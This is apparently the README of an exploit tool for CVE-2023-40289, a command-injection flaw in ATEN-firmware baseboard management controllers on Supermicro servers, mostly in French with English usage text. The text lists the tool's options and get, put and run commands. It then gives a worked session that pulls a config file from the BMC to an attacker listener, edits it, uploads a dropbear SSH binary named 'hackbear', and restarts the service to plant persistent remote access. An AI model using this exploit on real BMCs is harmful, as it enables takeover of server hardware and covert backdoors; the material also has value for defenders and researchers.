CVE-2023-40289

Ceci est un exploit pour CVE-2023-40289, une vulnérabilité d'injection de commandes dans plusieurs contrôleurs de gestion de base (BMC) équipés du firmware d'ATEN. Des exemples d'appareils concernés incluent l'AST2300 ou l'AST2500 d'Aspeed, que l'on trouve entre autres sur les systèmes de serveurs des séries X10 et X11 de Supermicro.

La vulnérabilité a été initialement découverte par Binarly. Ce dépôt ne fait qu'étendre leur PoC pour le rendre plus convivial.

À utiliser uniquement à des fins éducatives et avec le consentement de toutes les parties impliquées.

Utilisation

Usage: CVE-2023-40289 [OPTIONS] COMMAND [ARGS]...

  Exploit CVE-2023-40289 on BMCs with ATEN firmware.

  /!\ Caution! This script will overwrite alerts without prompting! /!\

Options:
  --target TEXT        URL of the target BMC's web UI.  [required]
  -h, --lhost TEXT     IP address or host name of this system to get payload
                       output. Limited to ~35 characters.
  -l, --lport INTEGER  Local port to run an HTTP server on to get payload
                       output.  [default: 80]
  -s, --sid TEXT       A valid session ID for an administrative user on the
                       target system.
  -u, --username TEXT  The name of an administrative user to log in as.
                       Ignored if --sid is given.
  -p, --password TEXT  The password of the given user.
  --delay FLOAT        Delay between running a command and retrieving its
                       output.  [default: 1.5]
  --help               Show this message and exit.

Commands:
  get  Get FILE from the target BMC and save it locally.
  put  Write local FILE to the BMC at DEST.
  run  Run the PAYLOAD command on the target BMC.

  Note: All options may also be given as environment variables with the prefix
  'BMC_' (e.g. BMC_TARGET).

Exemple

$ export BMC_TARGET=192.168.0.8
$ export BMC_USERNAME=admin
$ export BMC_PASSWORD=hunter2
$ export BMC_LHOST=192.168.0.7
$ CVE-2023-40289 get /nv/service.conf
[.] Triggering upload of /nv/service.conf from BMC.
[✓] File contents written to nv/service.conf.
$ cat nv/service.conf
HTTP_SERVICE=0
HTTP_PORT=80
HTTPS_SERVICE=1
HTTPS_PORT=443
SSH_SERVICE=1
SSH_PORT=22
WSMAN_SERVICE=0
WSMAN_PORT=5985
IKVM_SERVICE=1
VM_SERVICE=0
SSL_REDIRECT=1
SNMP_SERVICE=0
SNMP_PORT=161
STUNNEL_SERVICE=1
STUNNEL_PORT=5900
$ echo SSH_EXE=/nv/hackbear >> nv/service.conf
$ CVE-2023-40289 put service.conf /nv/service.conf
[✓] Set download payloads
[✓] Downloaded service.conf to BMC.
[✓] Moved downloaded file to /nv/service.conf on BMC.
$ CVE-2023-40289 put dropbear-arm /nv/hackbear
[✓] Set download payloads
[✓] Downloaded dropbear-arm to BMC.
[✓] Set file mode.
[✓] Moved downloaded file to /nv/hackbear on BMC.
$ CVE-2023-40289 run /etc/init.d/smashd restart
[✓] Set payload command
[✓] Triggered payload command
[.] Getting command output
Verify the ssh key-/nv/dropbear/dropbear_rsa_host_key. Please wait.
Verify the ssh key-/nv/dropbear/dropbear_dss_host_key. Please wait.
Starting SMASH daemon .....

Prérequis

Ce script nécessite :

• Python 3
• click
• requests

Licence

MIT